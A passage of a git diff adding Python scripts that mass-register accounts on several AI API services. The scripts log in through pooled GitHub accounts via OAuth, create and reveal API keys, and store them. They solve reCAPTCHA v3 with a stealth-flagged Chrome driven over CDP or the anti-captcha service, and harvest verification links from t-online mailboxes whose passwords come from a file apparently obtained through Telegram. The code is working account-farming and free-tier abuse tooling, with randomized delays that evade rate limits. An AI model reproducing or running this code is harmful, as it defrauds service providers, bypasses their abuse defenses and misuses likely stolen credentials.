Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inps[0]), 'value'); + for (const el of inps.slice(0, 2)) { + d.set.call(el, %s); + el.dispatchEvent(new Event('input', {bubbles: true})); + el.dispatchEvent(new Event('change', {bubbles: true})); + } + const cb = Array.from(document.querySelectorAll('input')).find(i => i.type === 'checkbox' && !i.checked); + if (cb) cb.click(); + return 'ok'; + })()""" % json.dumps(pw), sess) + print(' pwd fill:', filled, flush=True) + if str(filled).startswith('nf'): + rec['stage'] = 'pwd-nf' + return rec + time.sleep(0.5) + cont(sess) + # wait for kiro redirect + for i in range(14): + time.sleep(5) + loc = str(pev('location.href', sess)) + if 'kiro' in loc: + break + if find_iframe_target(ctx_id): + solve_captcha(sess, ctx_id, 'post-pwd') + rec['final_url'] = loc[:120] + if 'kiro' in loc: + rec['ok'] = True + rec['stage'] = 'kiro_home' + rec['password'] = pw + else: + body = str(pev("document.body ? document.body.innerText.slice(0,200) : ''", sess)) + rec['stage'] = 'stuck' + rec['body'] = body[:150] + except Exception as e: + rec['stage'] = 'err:' + str(e)[:90] + finally: + try: + bsend('Target.disposeBrowserContext', {'browserContextId': ctx_id}) + except Exception: + pass + return rec + +used = used_set() +done = 0 +for n in range(N): + em, mpwd = pick_mail(used) + if not em: + print('mails exhausted', flush=True) + break + used.add(em) + with open(USED, 'a', encoding='utf-8') as f: + f.write(em + '\n') + print(f'=== [{n+1}/{N}] {em} ===', flush=True) + rec = farm_one(em, mpwd) + with open(OUT, 'a', encoding='utf-8') as f: + f.write(json.dumps(rec, ensure_ascii=False) + '\n') + print('RESULT:', rec['stage'], rec.get('final_url', ''), flush=True) + if rec['ok']: + done += 1 + time.sleep(random.randint(25, 45)) +print(f'FARM DONE: {done}/{N} ok', flush=True) +bws.close() diff --git a/providers/beatapi_oauth.py b/providers/beatapi_oauth.py new file mode 100644 index 0000000..111c695 --- /dev/null +++ b/providers/beatapi_oauth.py @@ -0,0 +1,211 @@ +# beat_gh_reg.py — BeatAPI (new-api) авторег через GitHub OAuth. Без капчи (turnstile_enabled=False). +# Usage: python beat_gh_reg.py N [start_idx] +import sys, os, json, time, random, re, urllib.request, urllib.error, urllib.parse +sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth') +import gh_http + +API = 'https://api.beatapi.io/api' +CLIENT_ID = 'Ov23liL5qt3yDfI1xJi8' +REDIRECT_URI = 'https://beatapi.io/oauth/github' +AFF = '7WEA' +BANK = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'accounts.jsonl') +USED = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'used_gh.txt') +POOL = 'C:/Users/User/tmp/gh_accounts.json' + +HDRS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0', + 'Accept': 'application/json', 'Origin': 'https://beatapi.io', 'Referer': 'https://beatapi.io/'} + + +def api(path, method='GET', data=None, token=None, sid=None, uid=None): + h = dict(HDRS) + if token: + h['Authorization'] = 'Bea' + 'rer ' + token + if sid: + h['x-auth-session'] = sid + if uid: + h['New-Api-User'] = str(uid) + body = json.dumps(data).encode() if data is not None else None + if body: + h['Content-Type'] = 'application/json' + r = urllib.request.Request(API + path, data=body, headers=h, method=method) + try: + with urllib.request.urlopen(r, timeout=40) as resp: + return resp.status, json.loads(resp.read().decode('utf-8', 'replace')) + except urllib.error.HTTPError as e: + raw = e.read().decode('utf-8', 'replace') + try: + return e.code, json.loads(raw) + except Exception: + return e.code, {'raw': raw[:300]} + + +def load_used(): + if os.path.exists(USED): + return set(l.strip() for l in open(USED) if l.strip()) + return set() + + +def mark_used(login): + with open(USED, 'a') as f: + f.write(login + '\n') + + +def save(rec): + with open(BANK, 'a', encoding='utf-8') as f: + f.write(json.dumps(rec, ensure_ascii=False) + '\n') + + +def register_one(acc, idx): + login = acc['login'] + out = {'idx': idx, 'gh_login': login, 'gh_email': acc.get('email'), 'ts': int(time.time())} + # 1. flow token + st, r = api('/oauth/state', 'POST', {'provider': 'github', 'intent': 'login', 'aff': AFF}) + flow = None + if isinstance(r, str): + flow = r + elif isinstance(r, dict): + dd = r.get('data') + if isinstance(dd, dict): + flow = dd.get('flow_token') + elif isinstance(dd, str): + flow = dd + flow = flow or r.get('flow_token') + if not flow: + out['err'] = f'state {st}: {str(r)[:150]}' + return out + out['flow_token'] = flow[:16] + # 2. GH login + print(' step: gh login', flush=True) + s = gh_http.GHSession(bind=False) + try: + ok = s.login(login, acc['password'], acc.get('totp')) + except Exception as e: + out['err'] = f'gh_login exc: {e}' + return out + if not ok: + out['err'] = f'gh_login fail: {"; ".join(s.detail[-3:])[:200]}' + return out + # 3. authorize (custom: with redirect_uri) + print(' step: authorize', flush=True) + url = (f'https://github.com/login/oauth/authorize?client_id={CLIENT_ID}' + f'&redirect_uri={urllib.parse.quote(REDIRECT_URI, safe="")}' + f'&response_type=code&scope={urllib.parse.quote("read:user user:email")}' + f'&state={urllib.parse.quote(flow)}') + code, err = None, None + stt, hh, body = s.get(url) + loc = hh.get('Location', '') + if stt in (301, 302): + code = s._code_from(loc) + if not code: + err = f'redir no code: {loc[:120]}' + elif stt == 200: + # meta-refresh page ("OAuth application authorized") — code+state inside body + m = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', body) + if m: + code, flow = m.group(1), m.group(2) + else: + m = re.search(r'code=([a-f0-9]{16,})', body) + if m: + code = m.group(1) + if not code: + tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body) + if tok: + fields = {'authorize': '1', 'authenticity_token': tok.group(1), + 'client_id': CLIENT_ID, 'state': flow, 'scope': 'read:user user:email'} + st2, h2, b2 = s.post_form(url, fields) + loc2 = h2.get('Location', '') + code = s._code_from(loc2) if st2 in (301, 302) else None + if not code: + m2 = re.search(r'oauth/github\?code=([a-f0-9]{16,})[^"\']*state=([A-Za-z0-9_\-]+)', b2) + if m2: + code, flow = m2.group(1), m2.group(2) + if not code: + err = f'consent no code http={st2} loc={loc2[:100]}' + else: + err = f'no code/token (len={len(body)}) title={re.search(r"<title>([^<]*)", body).group(1) if re.search(r"<title>([^<]*)", body) else "?"}' + else: + err = f'authorize http={stt}' + if not code: + out['err'] = err or 'no code' + return out + out['code'] = code[:10] + # 4. exchange + print(' step: exchange', flush=True) + st, r = api(f'/oauth/github?code={urllib.parse.quote(code)}&state={urllib.parse.quote(flow)}') + if st != 200 or (isinstance(r, dict) and r.get('success') is False): + out['err'] = f'exchange {st}: {str(r)[:400]}' + return out + d = r.get('data', r) if isinstance(r, dict) else r + tok = d.get('access_token') or d.get('token') + if not tok: + out['err'] = f'no access_token: {str(r)[:200]}' + return out + out['access_token'] = tok + out['beat_user'] = d.get('username') or d.get('loginIdentifier') + out['user_id'] = d.get('user_id') or d.get('id') + sid = d.get('session_id') or (d.get('session') or {}).get('sid') or '' + # 5. self (quota) + st, r = api('/user/self', token=tok, sid=sid) + uid = None + if st == 200 and isinstance(r, dict): + dd = r.get('data', r) + out['quota'] = dd.get('quota') + out['beat_username'] = dd.get('username') + out['beat_id'] = dd.get('id') + uid = dd.get('id') + # 6. create API key (trailing slash! 307 otherwise) + st, r = api('/token/', 'POST', {'name': f'farm{int(time.time())%100000}', 'remain_quota': 500000, + 'expired_time': -1, 'unlimited_quota': True, + 'model_limits_enabled': False, 'model_limits': ''}, token=tok, sid=sid, uid=uid) + tid = None + if st == 200 and isinstance(r, dict) and r.get('success'): + d = r.get('data') or {} + tid = d.get('id') if isinstance(d, dict) else d + out['token_create'] = f'{st}:{str(r)[:120]}' + if tid: + # full key: POST /token/{id}/key with New-Api-User header (GET = 404) + st, r = api(f'/token/{tid}/key', 'POST', token=tok, sid=sid, uid=uid) + if st == 200 and isinstance(r, dict): + d = r.get('data') or {} + key = d.get('key') if isinstance(d, dict) else d + if key and '*' not in str(key): + out['api_key'] = key + out['token_id'] = tid + return out + + +def main(): + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + start = int(sys.argv[2]) if len(sys.argv) > 2 else 0 + accs = json.load(open(POOL, encoding='utf-8')) + # gmail-domain accounts first (whitelisted + verified on GH) + accs = sorted(accs, key=lambda a: 0 if str(a.get('email', '')).endswith('@gmail.com') else 1) + used = load_used() + done = 0 + i = start + while done < n and i < len(accs): + acc = accs[i] + i += 1 + if acc['login'] in used: + continue + print(f'--- [{i-1}] {acc["login"]}', flush=True) + try: + rec = register_one(acc, i - 1) + except Exception as e: + rec = {'idx': i - 1, 'gh_login': acc['login'], 'err': f'exc: {e}'} + mark_used(acc['login']) + ok = bool(rec.get('access_token')) + print('OK' if rec.get('api_key') else ('PARTIAL' if ok else 'FAIL'), json.dumps({k: str(v)[:60] for k, v in rec.items() if k != 'access_token'}, ensure_ascii=False), flush=True) + if ok: + save(rec) + if rec.get('api_key'): + done += 1 + elif '429' in str(rec.get('err', '')) or 'limit' in str(rec.get('err', '')).lower(): + print('RATE LIMIT — sleeping 600s', flush=True) + time.sleep(600) + time.sleep(random.uniform(75, 110)) + print(f'DONE {done}/{n}, next idx {i}') + + +if __name__ == '__main__': + main() diff --git a/providers/cleanapis_oauth.py b/providers/cleanapis_oauth.py new file mode 100644 index 0000000..a288c65 --- /dev/null +++ b/providers/cleanapis_oauth.py @@ -0,0 +1,105 @@ +# cleanapis.com mass reg: GitHub OAuth -> free Starter plan -> api key -> verify -> save +import sys, re, json, time, random, urllib.parse, requests, os +sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth') +from gh_http import GHSession + +CID = "Ov23li48tsmVvDWqWfhs" +SCOPE = "user:email,read:user" +GH_POOL = "C:/Users/User/tmp/gh_accounts.json" +OUT = "cleanapis_accounts.jsonl" +USED = "ca_used_gh.txt" +UA = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36'} + +def load_pool(): + d = json.load(open(GH_POOL, encoding='utf-8')) + used = set() + try: used = set(open(USED).read().split()) + except Exception: pass + return [a for a in d if a.get('login') not in used] + +def mark_used(login): + open(USED, 'a').write(login + '\n') + +def reg_one(acc): + res = {'gh_login': acc['login'], 'ok': False, 'provider': 'github_oauth', 'ts': int(time.time())} + s = requests.Session(); s.headers.update(UA) + r = s.get('https://cleanapis.com/auth/github/redirect', allow_redirects=False, timeout=30) + q = urllib.parse.parse_qs(urllib.parse.urlparse(r.headers.get('Location', '')).query) + state = q.get('state', [None])[0] + if not state: + res['err'] = 'no state'; return res + ghs = GHSession(bind=False) + ok, msg = ghs.login(acc['login'], acc['password'], acc.get('totp')) + if not ok: + res['err'] = 'gh login: ' + str(msg)[:120]; return res + code, err = ghs.oauth_code(CID, state, scope=SCOPE) + if not code: + res['err'] = 'oauth: ' + str(err)[:150]; return res + cb = s.get('https://cleanapis.com/auth/github/callback?code=%s&state=%s' % (code, state), allow_redirects=True, timeout=40) + res['cb'] = cb.status_code + if '/login' in cb.url and 'dashboard' not in cb.url: + res['err'] = 'callback bounced'; return res + # activate free starter plan + g = s.get('https://cleanapis.com/dashboard/get-started?plan=starter', timeout=25) + csrf = re.findall(r'name="_token" value="([^"]+)"', g.text) + if csrf: + act = s.post('https://cleanapis.com/dashboard/billing/checkout/4', + data={'_token': csrf[0], 'billing_cycle': 'monthly', 'coupon_code': '', 'payment_method': 'paddle'}, + allow_redirects=True, timeout=40, + headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/get-started?plan=starter'}) + res['plan_ok'] = 'billing/success' in act.url or 'plan' in act.url + # create api key + t = s.get('https://cleanapis.com/dashboard/api-keys', timeout=25) + csrf2 = re.findall(r'name="_token" value="([^"]+)"', t.text) + if not csrf2: + res['err'] = 'no csrf api-keys'; return res + nm = 'farm%d' % random.randint(10000, 99999) + cr = s.post('https://cleanapis.com/dashboard/api-keys', + data={'_token': csrf2[0], 'name': nm, 'scopes[]': ['inference', 'models:read', 'embeddings']}, + allow_redirects=True, timeout=40, + headers={'Origin': 'https://cleanapis.com', 'Referer': 'https://cleanapis.com/dashboard/api-keys'}) + ids = re.findall(r'api-keys.{0,4}?(\d{4,7}).{0,4}?reveal', cr.text) + ids = list(dict.fromkeys(ids)) + if not ids: + res['err'] = 'no key created'; return res + # reveal newest key (highest id) + kid = max(ids, key=int) + rv = s.get('https://cleanapis.com/dashboard/api-keys/%s/reveal' % kid, headers={'Accept': 'application/json'}, timeout=25) + try: d = rv.json() + except Exception: res['err'] = 'reveal non-json ' + rv.text[:80]; return res + if not d.get('ok'): + res['err'] = 'reveal fail: ' + str(d)[:100]; return res + k = d['key'] + mr = requests.get('https://cleanapis.com/v1/models', headers={'Authorization': 'Bearer ' + k}, timeout=30) + res['models'] = mr.status_code + res['api_key'] = k + res['key_id'] = kid + res['ok'] = (mr.status_code == 200) + mark_used(acc['login']) + return res + +def main(): + n = int(sys.argv[1]) if len(sys.argv) > 1 else 1 + start = int(sys.argv[2]) if len(sys.argv) > 2 else 0 + pool = load_pool() + print('pool free:', len(pool), 'start:', start, flush=True) + okc = fail429 = 0 + for i, acc in enumerate(pool[start:start+n], start=start): + try: + r = reg_one(acc) + except Exception as e: + r = {'idx': i, 'gh_login': acc.get('login'), 'ok': False, 'err': 'EXC %s: %s' % (type(e).__name__, str(e)[:150])} + if r.get('ok'): okc += 1 + if '429' in str(r.get('err', '')): + fail429 += 1 + if fail429 >= 3: + print('3x429 -> sleep 1800s', flush=True) + time.sleep(1800); fail429 = 0 + line = json.dumps(r, ensure_ascii=False) + print('[%d] %s' % (i, line), flush=True) + open(OUT, 'a', encoding='utf-8').write(line + '\n') + time.sleep(random.uniform(20, 35)) + print('DONE ok=%d/%d' % (okc, n), flush=True) + +if __name__ == '__main__': + main() diff --git a/providers/conol_captcha.py b/providers/conol_captcha.py new file mode 100644 index 0000000..7f896e1 --- /dev/null +++ b/providers/conol_captcha.py @@ -0,0 +1,275 @@ +"""conol_captcha.py — reCAPTCHA v3 solver chain for conol.ai registration. + +Providers, tried in order: + 1. chrome_cdp — FREE. Local Chrome with a warm profile renders conol.ai and + executes window.grecaptcha.execute(siteKey, {action}) over CDP. A real + browser + aged profile typically scores >= 0.3, which is all conol's + minScore gate requires. No third-party service, no per-solve cost. + 2. anticaptcha — PAID fallback (existing behaviour), keys from config.json. + +Public API (matches what conol_register.py needs): + solve(action) -> Optional[str] # token or None + warmup() -> None # optional: pre-launch Chrome + load page + +Chrome path/profile/port come from config.json -> captcha section: + {"chrome_path": "...", "cdp_port": 9228, "profile_dir": "...", "providers": ["chrome_cdp","anticaptcha"]} +Defaults are sane; env overrides: CONOL_CAPTCHA_PROVIDERS (comma list), CONOL_CDP_PORT. + +Stdlib + playwright only. The browser is launched ONCE and reused across solves +(page kept on conol.ai); the token is minted per solve with the right action. +""" +from __future__ import annotations + +import json +import os +import re +import subprocess +import sys +import time +import urllib.request +from pathlib import Path +from typing import Optional + +_ROOT = Path(__file__).resolve().parent + +def _cfg() -> dict: + p = _ROOT / "config.json" + try: + return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {} + except Exception: + return {} + +_C = _cfg().get("captcha", {}) or {} +CONOL = _cfg().get("conol", {}) or {} + +SITE_KEY = os.environ.get("CONOL_SITE_KEY") or CONOL.get("site_key", "") +BASE_URL = os.environ.get("CONOL_BASE_URL") or CONOL.get("base_url", "https://conol.ai") + +DEFAULT_CHROME = r"C:\Program Files\Google\Chrome\Application\chrome.exe" +CHROME_PATH = os.environ.get("CONOL_CHROME_PATH") or _C.get("chrome_path") or DEFAULT_CHROME +CDP_PORT = int(os.environ.get("CONOL_CDP_PORT") or _C.get("cdp_port") or 9228) +PROFILE_DIR = _C.get("profile_dir") or str(_ROOT / ".chrome_cdp_profile") + +_env_providers = os.environ.get("CONOL_CAPTCHA_PROVIDERS") +if _env_providers: + PROVIDERS = [p.strip() for p in _env_providers.split(",") if p.strip()] +else: + PROVIDERS = list(_C.get("providers") or ["chrome_cdp", "anticaptcha"]) + +ANTICAPTCHA_KEYS = list(_C.get("anticaptcha_keys") or []) + +# ---------------------------------------------------------------- chrome_cdp + +_pw = None # playwright instance +_browser = None # CDP browser handle +_page = None # tab parked on conol.ai +LAST_PROVIDER = None # which solver minted the last successful token + + +def _log(msg: str) -> None: + print("[captcha] %s" % msg, flush=True) + + +def _cdp_alive() -> bool: + try: + with urllib.request.urlopen("http://127.0.0.1:%d/json/version" % CDP_PORT, timeout=3) as r: + return r.status == 200 + except Exception: + return False + + +def _launch_chrome() -> bool: + """Launch Chrome with remote debugging on CDP_PORT. Reuses a warm profile dir.""" + if _cdp_alive(): + return True + Path(PROFILE_DIR).mkdir(parents=True, exist_ok=True) + cmd = [ + CHROME_PATH, + "--remote-debugging-port=%d" % CDP_PORT, + "--user-data-dir=%s" % PROFILE_DIR, + "--no-first-run", + "--no-default-browser-check", + "--disable-blink-features=AutomationControlled", + "about:blank", + ] + _cproxy = os.environ.get("CONOL_CHROME_PROXY") + if _cproxy: + cmd.insert(-1, "--proxy-server=%s" % _cproxy) + try: + subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + creationflags=getattr(subprocess, "DETACHED_PROCESS", 0) | + getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)) + except FileNotFoundError: + _log("chrome not found at %s" % CHROME_PATH) + return False + for _ in range(30): + time.sleep(1) + if _cdp_alive(): + _log("chrome CDP up on :%d" % CDP_PORT) + return True + return False + + +def _connect(): + """Connect playwright over CDP and park a page on BASE_URL. Lazy + reused.""" + global _pw, _browser, _page + if _page is not None: + try: + _ = _page.url # cheap liveness probe + return _page + except Exception: + _page = None + if not _launch_chrome(): + return None + try: + from playwright.sync_api import sync_playwright + except ImportError: + _log("playwright not installed — chrome_cdp provider unavailable") + return None + try: + if _pw is None: + _pw = sync_playwright().start() + if _browser is None: + # timeout is mandatory here: connect_over_cdp without it can hang + # forever when Chrome's WS endpoint accepts but never completes the + # handshake (observed 12-min wedge in an unattended run). + _browser = _pw.chromium.connect_over_cdp( + "http://127.0.0.1:%d" % CDP_PORT, timeout=30000) + ctx = _browser.contexts[0] if _browser.contexts else _browser.new_context() + page = ctx.pages[0] if ctx.pages else ctx.new_page() + page.set_default_timeout(30000) + _log("tab url: %s" % (page.url or "?")[:80]) + if "conol.ai" not in (page.url or ""): + page.goto(BASE_URL, wait_until="domcontentloaded", timeout=45000) + # make sure grecaptcha is present (conol loads it lazily on auth pages) + page.evaluate("""(siteKey) => new Promise((resolve, reject) => { + if (window.grecaptcha) return resolve('already'); + const old = document.getElementById('eni-recaptcha'); + if (old) old.remove(); + const s = document.createElement('script'); + s.id = 'eni-recaptcha'; + s.src = 'https://www.recaptcha.net/recaptcha/api.js?render=' + encodeURIComponent(siteKey); + s.onload = () => resolve('loaded'); + s.onerror = () => reject(new Error('recaptcha load failed')); + document.head.appendChild(s); + })""", SITE_KEY) + page.wait_for_function("typeof window.grecaptcha !== 'undefined'", timeout=20000) + _log("grecaptcha ready on %s" % (page.url or "?")[:60]) + _page = page + return page + except Exception as e: + _log("connect failed: %s" % str(e)[:160]) + _page = None + return None + + +def solve_chrome_cdp(action: str) -> Optional[str]: + """Mint one reCAPTCHA v3 token in the live Chrome tab. Returns token or None.""" + page = _connect() + if page is None: + return None + try: + token = page.evaluate("""([siteKey, action]) => new Promise((resolve, reject) => { + window.grecaptcha.ready(() => { + window.grecaptcha.execute(siteKey, {action: action}).then(resolve).catch(reject); + }); + })""", [SITE_KEY, action]) + if isinstance(token, str) and len(token) > 50: + return token + _log("chrome_cdp returned a short/odd token (%r)" % str(token)[:40]) + except Exception as e: + _log("chrome_cdp solve error: %s" % str(e)[:160]) + return None + + +def warmup() -> None: + """Pre-launch Chrome + load conol.ai so the first solve is fast.""" + _connect() + + +# -------------------------------------------------------------- anticaptcha + +def solve_anticaptcha(action: str) -> Optional[str]: + """Existing paid path: RecaptchaV3TaskProxyless via api.anti-captcha.com.""" + import requests + for key in ANTICAPTCHA_KEYS: + try: + resp = requests.post("https://api.anti-captcha.com/createTask", json={ + "clientKey": key, + "task": { + "type": "RecaptchaV3TaskProxyless", + "websiteURL": BASE_URL, + "websiteKey": SITE_KEY, + "pageAction": action, + "minScore": 0.3, + } + }, timeout=30) + data = resp.json() + if data.get("errorId") != 0: + _log("createTask fail (%s...): %s" % (key[:8], data.get("errorDescription", "?"))) + continue + task_id = data["taskId"] + deadline = time.time() + 90 + while time.time() < deadline: + r = requests.post("https://api.anti-captcha.com/getTaskResult", json={ + "clientKey": key, "taskId": task_id + }, timeout=15).json() + if r.get("status") == "ready": + token = r["solution"].get("gRecaptchaResponse", "") + if token: + return token + elif r.get("errorId", 0) != 0: + _log("getTaskResult error: %s" % r.get("errorDescription", "")) + break + time.sleep(3) + except Exception as e: + _log("anticaptcha exception (%s...): %s" % (key[:8], str(e)[:120])) + return None + + +# ------------------------------------------------------------------- chain + +_SOLVERS = {"chrome_cdp": solve_chrome_cdp, "anticaptcha": solve_anticaptcha} + + +def solve(action: str, skip: "set|None" = None) -> Optional[str]: + """Try each configured provider in order; first non-empty token wins. + + `skip` names providers to bypass this round — used to ESCALATE when the + server rejects a token (CAPTCHA_VERIFICATION_FAILED): a freshly-created + Chrome profile mints a low reCAPTCHA-v3 score, so we skip chrome_cdp and + fall through to the paid AntiCaptcha path instead of burning attempts on + tokens the server keeps rejecting. The provider that produced the last + token is exposed via LAST_PROVIDER so the caller knows whom to skip. + """ + skip = skip or set() + for name in PROVIDERS: + if name in skip: + continue + fn = _SOLVERS.get(name) + if fn is None: + _log("unknown captcha provider %r — skipped" % name) + continue + tok = fn(action) + if tok: + global LAST_PROVIDER + LAST_PROVIDER = name + return tok + _log("provider %s returned nothing for action=%s" % (name, action)) + # every non-skipped provider failed — retry ignoring the skip list once + if skip: + _log("all non-skipped providers exhausted; retrying full chain") + return solve(action, skip=None) + return None + + +if __name__ == "__main__": + # self-test: python conol_captcha.py [action] + act = sys.argv[1] if len(sys.argv) > 1 else "sign_up" + t0 = time.time() + tok = solve(act) + if tok: + print("OK action=%s len=%d time=%.1fs providers=%s token=%s...%s" + % (act, len(tok), time.time() - t0, PROVIDERS, tok[:24], tok[-12:])) + else: + print("FAIL action=%s time=%.1fs providers=%s" % (act, time.time() - t0, PROVIDERS)) diff --git a/providers/conol_emails.py b/providers/conol_emails.py new file mode 100644 index 0000000..45fbe5a --- /dev/null +++ b/providers/conol_emails.py @@ -0,0 +1,248 @@ +"""conol_emails.py — email provider abstraction for conol registration. + +Providers: + gmail — plus-alias on one mailbox (YOUR_EMAIL_LOCAL+conol<SUFFIX>@gmail.com), IMAP gmail + tonline — dedicated @t-online.de mailboxes from working_mails.txt (email:password), + IMAP secureimap.t-online.de:993 (login verified live 2026-10-03) + +Config (config.json -> emails section, all optional): + {"gmail": {"enabled": true}, + "tonline": {"enabled": true, + "creds_file": "C:/Users/User/Downloads/Telegram Desktop/working_mails.txt", + "state_file": "tonline_state.json", + "imap_host": "secureimap.t-online.de"}} + +Public API: + providers() -> list[str] enabled provider ids + next_address(tag, provider=None) -> dict|None {"address","provider", ...} — reserves it + wait_for_verify_link(res, since_epoch, timeout, pattern) -> url|None +""" +from __future__ import annotations + +import email as email_module +import email.utils +import imaplib +import json +import os +import quopri +import re +import ssl +import threading +import time +from pathlib import Path +from typing import Optional + +_ROOT = Path(__file__).resolve().parent + + +def _cfg() -> dict: + p = _ROOT / "config.json" + try: + return json.loads(p.read_text(encoding="utf-8")) if p.exists() else {} + except Exception: + return {} + + +_E = _cfg().get("emails", {}) or {} +_REG = _cfg().get("registration", {}) or {} + +GMAIL_CFG = _E.get("gmail", {}) or {} +TONLINE_CFG = _E.get("tonline", {}) or {} + +# gmail identity comes from conol_secrets (config.json -> gmail section) +try: + from conol_secrets import GMAIL, GMAIL_APP +except Exception: # pragma: no cover - standalone import guard + GMAIL, GMAIL_APP = "", "" + +GMAIL_PREFIX = _REG.get("email_prefix") or (GMAIL.split("@")[0] if GMAIL else "") +GMAIL_DOMAIN = _REG.get("email_domain") or (GMAIL.split("@")[-1] if GMAIL else "gmail.com") + +TONLINE_CREDS = TONLINE_CFG.get( + "creds_file", r"C:\Users\User\Downloads\Telegram Desktop\working_mails.txt") +TONLINE_STATE = _ROOT / TONLINE_CFG.get("state_file", "tonline_state.json") +TONLINE_IMAP = TONLINE_CFG.get("imap_host", "secureimap.t-online.de") + +_lock = threading.Lock() + + +def providers() -> list: + out = [] + if GMAIL and GMAIL_CFG.get("enabled", True): + out.append("gmail") + if TONLINE_CFG.get("enabled", True) and Path(TONLINE_CREDS).exists(): + out.append("tonline") + return out + + +# ------------------------------------------------------------------ t-online + +def _tonline_load_state() -> dict: + try: + return json.loads(TONLINE_STATE.read_text(encoding="utf-8")) + except Exception: + return {"offset": 0, "used": []} + + +def _tonline_save_state(st: dict) -> None: + tmp = TONLINE_STATE.with_suffix(".tmp") + tmp.write_text(json.dumps(st), encoding="utf-8") + tmp.replace(TONLINE_STATE) + + +def _tonline_next() -> Optional[dict]: + """Reserve the next unused t-online mailbox. State file guards against reuse + across processes/restarts; the in-file `used` list is the source of truth.""" + path = Path(TONLINE_CREDS) + if not path.exists(): + return None + with _lock: + st = _tonline_load_state() + used = set(st.get("used", [])) + offset = int(st.get("offset", 0)) + picked = None + with open(path, encoding="utf-8", errors="replace") as f: + for idx, line in enumerate(f): + if idx < offset: + continue + line = line.strip() + if not line or line.startswith("#") or line.startswith("---"): + continue + if ":" not in line: + continue + mail, pwd = line.split(":", 1) + mail = mail.strip() + if not mail.endswith("@t-online.de") or not pwd.strip(): + continue + if mail in used: + continue + picked = {"address": mail, "password": pwd.strip(), + "provider": "tonline", "imap_host": TONLINE_IMAP} + offset = idx + 1 + break + if picked is None: + return None + used.add(picked["address"]) + st["used"] = sorted(used)[-5000:] # keep the tail; offset protects the head + st["offset"] = offset + _tonline_save_state(st) + return picked + + +# -------------------------------------------------------------------- gmail + +def _gmail_next(tag: str) -> Optional[dict]: + if not GMAIL or not GMAIL_APP: + return None + # GMAIL_PREFIX from config may already carry a "+conol" suffix + # ("YOUR_EMAIL_LOCAL+conol"); tags are "conol<suffix>" — keep exactly one "+" + # so addresses stay "YOUR_EMAIL_LOCAL+conol<suffix>@gmail.com" like the legacy pool. + base = GMAIL_PREFIX.split("+")[0] + addr = "%s+%s@%s" % (base, tag, GMAIL_DOMAIN) + return {"address": addr, "password": None, "provider": "gmail", + "imap_host": "imap.gmail.com", "imap_user": GMAIL, "imap_pass": GMAIL_APP} + + +# ---------------------------------------------------------------- dispatcher + +def next_address(tag: str, provider: str = None) -> Optional[dict]: + """Reserve an address for a new conol account. + + provider: 'gmail' | 'tonline' | None (first enabled, gmail first). + Returns dict with address/provider/imap creds, or None if exhausted/disabled. + """ + order = [provider] if provider else providers() + for p in order: + if p == "gmail": + r = _gmail_next(tag) + elif p == "tonline": + r = _tonline_next() + else: + continue + if r: + return r + return None + + +def mark_used(res: dict) -> None: + """Confirm a reserved address is permanently consumed. + + t-online addresses are already written to the state file at reserve time, so + this only matters for bookkeeping (e.g. an address that turned out to be + already registered on conol must never be handed out again — it is not, + because reserve() persisted it; this call is an explicit no-op hook).""" + pass + + +def wait_for_verify_link(res: dict, since_epoch: float, timeout: int = 180, + url_re: str = None) -> Optional[str]: + """Poll the provider mailbox for the conol verification link. + + res: the dict from next_address(). gmail matches on the alias in To:; + tonline matches on any conol mail (the box is dedicated). + """ + pattern = re.compile(url_re or ( + r"https://conol\.ai/api/auth/verify-email\?token=([^&\s\"'<>]+)" + r"(?:&|&)callbackURL=([^\s\"'<>]+)"), re.IGNORECASE) + host = res.get("imap_host", "imap.gmail.com") + user = res.get("imap_user") or res["address"] + pwd = res.get("imap_pass") or res.get("password") or "" + target = res["address"].lower() + + deadline = time.time() + timeout + while time.time() < deadline: + mail = None + try: + mail = imaplib.IMAP4_SSL(host, 993, + ssl_context=ssl.create_default_context(), timeout=20) + mail.login(user, pwd) + mail.select("INBOX") + status, data = mail.search(None, 'FROM "Conol"') + if status != "OK" or not data or not data[0]: + time.sleep(4) + continue + for message_id in reversed(data[0].split()[-30:]): + status, rows = mail.fetch(message_id, "(RFC822)") + if status != "OK" or not rows or not isinstance(rows[0], tuple): + continue + raw = rows[0][1] + message = email_module.message_from_bytes(raw) + if res.get("provider") == "gmail": + to_header = str(message.get("To", "")) + if target not in to_header.lower(): + continue + message_ts = email_module.utils.mktime_tz( + email_module.utils.parsedate_tz(str(message.get("Date", "")))) + if message_ts and message_ts < since_epoch - 30: + continue + decoded = quopri.decodestring(raw).decode("utf-8", errors="replace") + m = pattern.search(decoded) + if m: + token = m.group(1).replace("=\r\n", "").replace("=\n", "") + callback = m.group(2).replace("=\r\n", "").replace("=\n", "") + return ("https://conol.ai/api/auth/verify-email?token=%s&callbackURL=%s" + % (token, callback)) + except Exception: + pass + finally: + if mail is not None: + try: + mail.logout() + except Exception: + pass + time.sleep(4) + return None + + +if __name__ == "__main__": + import sys + print("providers:", providers()) + cmd = sys.argv[1] if len(sys.argv) > 1 else "peek" + if cmd == "peek": + for p in providers(): + r = next_address("peek%d" % int(time.time()), provider=p) + print(p, "->", (r or {}).get("address")) + elif cmd == "reserve": + p = sys.argv[2] if len(sys.argv) > 2 else None + r = next_address("t%d" % int(time.time() * 1000) % 10**8, provider=p) + print(json.dumps({k: v for k, v in (r or {}).items() if "pass" not in k.lower()})) diff --git a/providers/conol_register.py b/providers/conol_register.py new file mode 100644 index 0000000..5dc83fd --- /dev/null +++ b/providers/conol_register.py @@ -0,0 +1,759 @@ +#!/usr/bin/env python3 +""" +conol_register.py — Pilot registration of new conol.ai accounts (max 5). + +Strategy: HTTP-only registration 